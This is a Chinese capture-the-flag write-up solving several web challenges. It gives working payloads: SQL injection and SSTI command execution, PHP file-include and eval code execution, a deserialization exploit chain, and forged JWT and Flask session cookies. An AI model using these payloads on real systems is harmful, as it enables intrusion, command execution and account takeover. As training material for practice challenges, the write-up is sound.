sql_in 万能密码绕过即可
POST:password=1&username=admin' or 1#
PCTF{fa88f815-81f4-481d-b931-87d74f37d0ce}
复读机 测试后发现存在ssti漏洞
直接打就行
POST:cmd={{lipsum.__globals__['os'].popen('env').read()}}
PCTF{8ce08c23-f652-49d8-bfdf-4c179e0e05ba}
what_is_jsfuck 源码中给出提示<!-- Hint:Try entering "I want flag" -->,输入后回显jsfuck代码,放控制台回车即可
PCTF{97411c88-2f89-4a9d-9e19-9e22107134a1}
EZPHP 页面提示输入参数名为number,参数值为111111-999999之间的一个数,爆破一下发现是114514,然后源码如下
<?php error_reporting (0 ); echo "Please pass in \"number\" value <br>" ; echo "the number value between 111111 and 999999:<br>" ; if ($_GET ["number" ]==114514 ) { highlight_file (__FILE__ ); echo "OK!Please find the flag!<br>" ; if ($_GET ['action' ]=="read" ){ $filename =$_POST ["filename" ]; file ($filename ); }elseif ($_GET ["action" ]== "include" ){ $filename =$_POST ["filename" ]; include ($filename ); } } ?>
是一个文件包含,但是尝试了常见flag名称都不对,尝试包含/etc/passswd能成功,所以用data伪协议来尝试
GET:number=114514&action=include POST:filename=data://text/plain,<?php system("ls /");?>
GET:number=114514&action=include POST:filename=data://text/plain,<?php system("cat /mlZZc1WenbLgE19L");?>
PCTF{711232aa-7658-400f-b683-00ccc7f881aa}
php_with_md5 <?php error_reporting (0 );highlight_file (__FILE__ );echo "Welcome to the PHP world!" ;echo "<br>" ;echo "Can you get the flag in my php file?" ;if (isset ($_GET ['begin' ])=='admin' ){ $begin =$_GET ['begin' ]; if (!preg_match ('/admin/i' ,$begin )){ echo "Excellent!" ; if ($_POST ['password' ]==md5 ($_POST ['password' ])){ echo "Wooow!,you are so clever!" ; if ($_GET ['a' ]!=$_GET ['b' ] && md5 ($_GET ['a' ])==md5 ($_GET ['b' ])){ echo "Continue!" ; if ($_GET ['c' ]!=$_GET ['d' ] && md5 ($_GET ['c' ])===md5 ($_GET ['d' ])) { echo "Congratulations! You have completely learned the MD5 skills!" ; @eval ($_POST ['cmd' ]); } }else { die ("Nope,try again!" );} }else { die ("Haha,try again!" );} }else { die ("NoNoNO! You can't do that!" );} }else { die ("Oooooooops,You are not admin!" );} ?>
首先第一层,这里需要注意到
isset($_GET['begin'])=='admin'
这里的isset是检测有无begin这个参数值,如果有就会返回true,而在弱比较中会先检查类型,类型不同先将字符串转换为布尔再比较,这里的非空字符串admin会转换为true,就会显示正确,本地写个代码测试一下
<?php $a =1 ;var_dump (isset ($a ));var_dump ("admin" );var_dump (isset ($a )=="admin" );
然后之后的就正常用0e绕过和碰撞绕过就行(这里尝试了下数组绕过,但是好像不行?后面去看了下php版本,这里是PHP Version 8.4.12,如果遇到数组绕过就会直接抛出TypeError终止脚本而不是像8.0以下版本返回一个null)
GET:begin=1&a=QNKCDZO&b=QLTHNDT&c=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B&d=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B POST:password=0e215962017&cmd=system("cat /flag");
PCTF{80787784-1d90-436b-9a75-435a64e7a6b4}
unserialize <?php highlight_file (__FILE__ );class Logger { public $log_file = 'app.log' ; public $message ; public function log ( ) { file_put_contents ($this ->log_file, $this ->message, FILE_APPEND); } } class UserProfile { public $username ; public $data = []; public function __toString ( ) { return $this ->username; } } class TemplateEngine { public $template_name ; public function render ( ) { return "Rendering " . $this ->template_name; } } class ReadFile { public $filename ; public function __wakeup ( ) { if (strpos ($this ->filename, 'flag' ) !== false ) { $this ->filename = 'index.php' ; } } public function getFileContent ( ) { echo file_get_contents ($this ->filename); } } class FileHandler { public $source ; public function __invoke ( ) { return $this ->source->getFileContent (); } } class TaskRunner { private $task ; public function __construct ($task ) { $this ->task = $task ; } public function run ( ) { call_user_func ($this ->task); } } class Middleware { public $next ; public function __destruct ( ) { if (isset ($this ->next)) { $this ->next->run (); } } } if (isset ($_GET ['data' ])) { $serialized_data = $_GET ['data' ]; try { unserialize ($serialized_data ); } catch (Exception $e ) { echo "Error: " . $e ->getMessage (); } } ?>
注意这里可以将TaskRunner类中的private改为public来构造链子,至于对flag的限制绕过__wakeup就行,exp如下
<?php class Logger { public $log_file = 'app.log' ; public $message ; } class UserProfile { public $username ; public $data = []; } class TemplateEngine { public $template_name ; } class ReadFile { public $filename ; } class FileHandler { public $source ; } class TaskRunner { public $task ; } class Middleware { public $next ; } $a =new Middleware ();$a ->next=new TaskRunner ();$a ->next->task=new FileHandler ();$a ->next->task->source=new ReadFile ();$a ->next->task->source->filename="php://filter/read=convert.base64-encode/resource=flag.php" ;$b =str_replace ('"ReadFile":1:' ,'"ReadFile":2:' ,serialize ($a ));echo "data=" .$b ;
PCTF{9b6d0d56-2353-4203-852f-d046ea5b04e2}
神秘商店
体验一下rust的魅力吧!
先尝试随便注册登录进去,发现flag只能用50来买,而且只有admin有增加的次数,尝试伪造admin登录
这里尝试了下弱口令和万能密码都不行,去看了wp是需要全角绕过
通过在线全角半角转换—在线工具 来转换
username:admin password:123456
然后成功以管理员登录
但是购买flag必须要50,所以通过rust的整数溢出来实现,这里是32位整数,所以用4,294,967,246
PCTF{1396dfbc-a4fc-47ab-ad46-a764a36597c1}
Do_you_know_session? 首先要管理员才能实现文件读取,先看如何能提权,找到session中存在鉴权
并且搜索中存在ssti漏洞,那就直接先找到密钥
密钥为1919810#mistyovo@foxdog@lzz0403#114514
然后去伪造admin就行
flask-unsign --sign --cookie "{'username': 'admin'}" --secret '1919810#mistyovo@foxdog@lzz0403#114514' eyJ1c2VybmFtZSI6ImFkbWluIn0.aV4ySQ.nBMPvWeVrHb1e-Dh4R3_zbWIhYg
然后读环境变量就行
PCTF{59e4cb97-f7c8-4ab6-a8f1-04d3dd28fda4}
ez_upload 既然有文件包含部分,那就先尝试读取源码
import osimport uuidfrom flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonifyfrom werkzeug.exceptions import RequestEntityTooLargeapp = Flask(__name__) app.secret_key = 'your_secret_key_here' UPLOAD_FOLDER = 'uploads' MAX_FILE_SIZE = 16 * 1024 * 1024 ALLOWED_EXTENSIONS = {'txt' , 'pdf' , 'png' , 'jpg' , 'jpeg' , 'gif' , 'doc' , 'docx' , 'zip' , 'html' } BLACKLIST_KEYWORDS = [ 'env' , '.env' , 'environment' , 'profile' , 'bashrc' , 'proc' , 'sys' , 'etc' , 'passwd' , 'shadow' , 'flag' ] app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER app.config['MAX_CONTENT_LENGTH' ] = MAX_FILE_SIZE if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) def allowed_file (filename ): return '.' in filename and filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/' ) def index (): try : with open ('templates/index.html' , 'r' , encoding='utf-8' ) as f: template_content = f.read() return render_template_string(template_content) except FileNotFoundError: try : with open ('templates/error_template_not_found.html' , 'r' , encoding='utf-8' ) as f: return f.read() except : return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>' except Exception as e: try : with open ('templates/error_render.html' , 'r' , encoding='utf-8' ) as f: template = f.read() return render_template_string(template, error_message=str (e)) except : return '<h1>渲染错误</h1><p>' + str (e) + '</p><a href="/upload">上传文件</a>' @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: flash('没有选择文件' ) return redirect(request.url) file = request.files['file' ] if file.filename == '' : flash('没有选择文件' ) return redirect(request.url) if file and allowed_file(file.filename): filename = file.filename filename = filename.replace('../' , '' ) file_path = os.path.join(UPLOAD_FOLDER, filename) try : file.save(file_path) flash('文件 {} 上传成功!' .format (filename)) return redirect('/upload' ) except Exception as e: flash('文件上传失败: {}' .format (str (e))) return redirect(request.url) else : flash('不允许的文件类型' ) return redirect(request.url) try : with open ('templates/upload.html' , 'r' , encoding='utf-8' ) as f: template_content = f.read() return render_template_string(template_content) except FileNotFoundError: try : with open ('templates/error_upload_not_found.html' , 'r' , encoding='utf-8' ) as f: return f.read() except : return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>' @app.route('/file' ) def view_file (): file_path = request.args.get('file' , '' ) if not file_path: try : with open ('templates/file_no_param.html' , 'r' , encoding='utf-8' ) as f: return f.read() except : return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>' file_path_lower = file_path.lower() for keyword in BLACKLIST_KEYWORDS: if keyword in file_path_lower: try : with open ('templates/file_error.html' , 'r' , encoding='utf-8' ) as f: template = f.read() return render_template_string(template, file_path=file_path, error_message='访问被拒绝:文件路径包含敏感关键词 [{}]' .format (keyword)) except : return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>' try : with open (file_path, 'r' , encoding='utf-8' ) as f: file_content = f.read() try : with open ('templates/file_view.html' , 'r' , encoding='utf-8' ) as f: template = f.read() return render_template_string(template, file_path=file_path, file_content=file_content) except : return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>' .format (file_content) except Exception as e: try : with open ('templates/file_error.html' , 'r' , encoding='utf-8' ) as f: template = f.read() return render_template_string(template, file_path=file_path, error_message=str (e)) except : return '<h1>文件读取失败</h1><p>错误: {}</p><a href="/">返回主页</a>' .format (str (e)) @app.errorhandler(RequestEntityTooLarge ) def too_large (e ): try : with open ('templates/error_too_large.html' , 'r' , encoding='utf-8' ) as f: template = f.read() return render_template_string(template, max_size=MAX_FILE_SIZE // (1024 *1024 )), 413 except : return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>' .format (MAX_FILE_SIZE // (1024 *1024 )), 413 @app.errorhandler(404 ) def not_found (e ): try : with open ('templates/error_404.html' , 'r' , encoding='utf-8' ) as f: return f.read(), 404 except : return '<h1>404</h1><p>页面不存在</p>' , 404 @app.errorhandler(500 ) def server_error (e ): try : with open ('templates/error_500.html' , 'r' , encoding='utf-8' ) as f: template = f.read() return render_template_string(template, error_message=str (e)), 500 except : return '<h1>500</h1><p>服务器内部错误: {}</p>' .format (str (e)), 500 if __name__ == '__main__' : print ("启动Flask文件上传应用..." ) print ("上传目录: {}" .format (UPLOAD_FOLDER)) print ("最大文件大小: {} MB" .format (MAX_FILE_SIZE // (1024 *1024 ))) print ("允许的文件类型: {}" .format (ALLOWED_EXTENSIONS)) app.run(debug=False , host='0.0.0.0' , port=5000 )
发现这里可以渲染了很多模板,而且都给了路径,那就找个没有被黑名单检测的文件来覆盖打ssti,这里抓包来命名文件,同时还要绕过将../替换为空的waf
然后返回主界面就可以看到被成功渲染了
然后就是正常打ssti
{{lipsum.__globals__['os'].popen('env').read()}}
PCTF{cdfa4d11-bf96-49b6-a723-5babc7866f3d}
Jwt_password_manager 给了源码,如下
''' Item: Safety Jwt Password Mananer Time: 2025-10-23 Author: 1ceLAND ''' from flask import Flask, request, redirect, url_for, render_templateimport jwtimport uuidimport osfrom werkzeug.security import generate_password_hash, check_password_hashapp = Flask(__name__) app.config['SECRET_KEY' ] = '0f3cbb44-f199-4d34-ade9-1545c0972648' accounts_usernames = [] accounts = {} user_passwords = {} def check_username (new_username ): if new_username in accounts_usernames: return True return False def check_login (username, password ): if username not in accounts: return False return check_password_hash(accounts[username], password) def insert_account (new_username, new_password_hash ): try : accounts_usernames.append(new_username) accounts[new_username] = new_password_hash user_passwords[new_username] = [] return True except : return False def create_token (username ): payload = { 'username' : username, } token = jwt.encode(payload, app.config['SECRET_KEY' ], algorithm='HS256' ) if isinstance (token, bytes ): token = token.decode('utf-8' ) return token def verify_token (token ): try : payload = jwt.decode(token, app.config['SECRET_KEY' ], algorithms=['HS256' ]) return payload['username' ] except : return None def login_required (f ): def decorated (*args, **kwargs ): token = request.cookies.get('token' ) if not token or not verify_token(token): return redirect(url_for('login' )) return f(*args, **kwargs) decorated.__name__ = f.__name__ return decorated def add_password_item (username, website, site_username, password, notes="" ): try : password_item = { 'id' : str (uuid.uuid4()), 'website' : website, 'username' : site_username, 'password' : password, 'notes' : notes, } user_passwords[username].append(password_item) return True except : return False def delete_password_item (username, item_id ): try : user_passwords[username] = [item for item in user_passwords[username] if item['id' ] != item_id] return True except : return False def get_user_passwords (username ): return user_passwords.get(username, []) @app.route('/' ) def index (): return redirect(url_for('login' )) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] user_exists = check_username(username) if user_exists: return render_template('register.html' , error_msg="User Already Existed!" ) password_hash = generate_password_hash(password) insert_account(username, password_hash) return redirect(url_for('login' )) return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] user_exists = check_username(username) if user_exists == False : return render_template('login.html' , error_msg='Username or Password Wrong!' ) if check_login(username, password): token = create_token(username) response = redirect(url_for('dashboard' )) response.set_cookie('token' , token, httponly=True ) return response else : return render_template('login.html' , error_msg='Username or Password Wrong!' ) return render_template('login.html' ) @app.route('/logout' ) def logout (): response = redirect(url_for('login' )) response.delete_cookie('token' ) return response @app.route('/dashboard' ) @login_required def dashboard (): username = verify_token(request.cookies.get('token' )) passwords = get_user_passwords(username) return render_template('dashboard.html' , username=username, passwords=passwords) @app.route('/add_password' , methods=['POST' ] ) @login_required def add_password (): username = verify_token(request.cookies.get('token' )) website = request.form['website' ] site_username = request.form['site_username' ] password = request.form['password' ] notes = request.form.get('notes' , '' ) if add_password_item(username, website, site_username, password, notes): return redirect(url_for('dashboard' )) else : return render_template('dashboard.html' , username=username, passwords=get_user_passwords(username), error_msg="Add password error" ) @app.route('/delete_password/<item_id>' ) @login_required def delete_password (item_id ): username = verify_token(request.cookies.get('token' )) if delete_password_item(username, item_id): return redirect(url_for('dashboard' )) else : return render_template('dashboard.html' , username=username, passwords=get_user_passwords(username), error_msg="Delete password error" ) if __name__ == '__main__' : admin_password = str (uuid.uuid4()) insert_account('admin' , generate_password_hash(admin_password)) for path in ['/flag' , './flag.txt' ]: try : if os.path.exists(path) and os.path.isfile(path): with open (path, 'rb' ) as f: raw = f.read() if raw: content = raw.decode('utf-8' , errors='replace' ).strip() add_password_item('admin' , website='seeded-flag' , site_username='flag-file' , password=content, notes=f'seeded from {path} ' ) break except : pass app.run(debug=False , host='0.0.0.0' )
大概含义就是读取flag后作为admin的密码保存下来,需要去伪造admin登录,源码中已经给了明文密钥
那就先随便注册一个账号登录,然后拿到token
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjdmM2IwYjdlLWNmMDEtNGFlMy1hY2E1LWE4YjM0MTQ0NTNlYyIsInVzZXJuYW1lIjoieXhpbmcifQ.ZLwyWykCBZGL27t3Jjruw8jXuJ_1xgEaamSxX_gl-CM
将json修改后用明文密钥伪造
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjdmM2IwYjdlLWNmMDEtNGFlMy1hY2E1LWE4YjM0MTQ0NTNlYyIsInVzZXJuYW1lIjoiYWRtaW4ifQ.rVejjQ6QcuJecXjadPhHZehPPEXbxPS1CCrBIsDBJXU
修改后即可拿到flag
PCTF{b61143c1-63df-442d-9213-a4633fddc8d0}
We_will_rockyou
“A Safety Linux Server Panel develop by 1ce and he make it Safety?? ..
“”We will, we will rockyou…””
Try rockyou.txt!
flag in /flag“
给了源码如下
''' Item: Safety Linux Server Panel Time: 2025-10-24 Author: 1ceLAND ''' from flask import Flask, redirect, url_for, render_template, requestimport jwtimport uuidimport osimport subprocessfrom werkzeug.security import generate_password_hash, check_password_hashapp = Flask(__name__) app.config['SECRET_KEY' ] = str (uuid.uuid4()) accounts = {} def create_token (user_id, username ): payload = { 'user_id' : user_id, 'username' : username } token = jwt.encode(payload, app.config['SECRET_KEY' ], algorithm='HS256' ) if isinstance (token, bytes ): token = token.decode('utf-8' ) return token def verify_token (token ): try : payload = jwt.decode(token, app.config['SECRET_KEY' ], algorithms=['HS256' ]) user_id = payload['user_id' ] username = payload['username' ] return user_id, username except : return None def login_required (f ): from functools import wraps @wraps(f ) def decorated (*args, **kwargs ): token = request.cookies.get('token' ) if not token: return redirect(url_for('login' )) res = verify_token(token) if not res: return redirect(url_for('login' )) user_id, username = res return f(user_id, username, *args, **kwargs) return decorated def check_login (u, p ): for user_id, info in accounts.items(): if info['username' ] == u: return check_password_hash(info['password' ], p), user_id return False , None @app.route('/' ) def index (): return redirect(url_for('login' )) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): error_msg = None if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] ok, user_id = check_login(username, password) if ok: token = create_token(user_id, username) response = redirect(url_for('dashboard' )) response.set_cookie('token' , token, httponly=True ) return response else : error_msg = "Username or Password incorrect!" return render_template('login.html' , error_msg=error_msg) @app.route('/logout' ) def logout (): response = redirect(url_for('login' )) response.delete_cookie('token' ) return response @app.route('/dashboard' ) @login_required def dashboard (user_id, username ): return render_template('dashboard.html' , user_id=user_id, username=username) import subprocessSAFE_COMMANDS = ['ls' , 'pwd' , 'whoami' , 'dir' , 'more' ] @app.route('/dashboard/run' , methods=['POST' ] ) @login_required def run_command (user_id, username ): user_id, username = verify_token(request.cookies.get('token' )) cmd = request.form.get('command' , '' ).strip() if not cmd or cmd.split()[0 ] not in SAFE_COMMANDS: return render_template('dashboard.html' , user_id=user_id, username=username, error_msg="Error: Command not allowed or empty" ) try : result = subprocess.run(cmd, shell=True , capture_output=True , text=True , timeout=5 ) output = result.stdout + result.stderr return render_template('dashboard.html' , user_id=user_id, username=username, output=output, command=cmd) except Exception as e: return render_template('dashboard.html' , username=username, error_msg=f"Error: {str (e)} " ) if __name__ == '__main__' : admin_id = 0 admin_username = 'admin123' admin_password = str (uuid.uuid4()) for path in ['/password' , './password.txt' ]: try : if os.path.exists(path) and os.path.isfile(path): with open (path, 'rb' ) as f: raw = f.read() if not raw: continue text = raw.decode('utf-8' , errors='replace' ).strip() candidates = [line.strip() for line in text.splitlines() if line.strip()] if candidates: import secrets admin_password = secrets.choice(candidates) break except : pass print (f' * Admin password: {admin_password} ' ) accounts[admin_id] = { 'username' : admin_username, 'password' : generate_password_hash(admin_password) } app.run(debug=False , host='0.0.0.0' )
发现虽然是随机生成的密码,但是后面通过password.txt中去覆盖了,应该是个弱口令,题目又说Try rockyou.txt! ,所以去爆破就行
(但是这个字典好大,边爆边吃饭吧,而且每次重开环境的密码都不同)
找到密码为corazon
more /flag得到flag
PCTF{b366d9e1-f20c-473e-bfa8-2205b7fdcfac}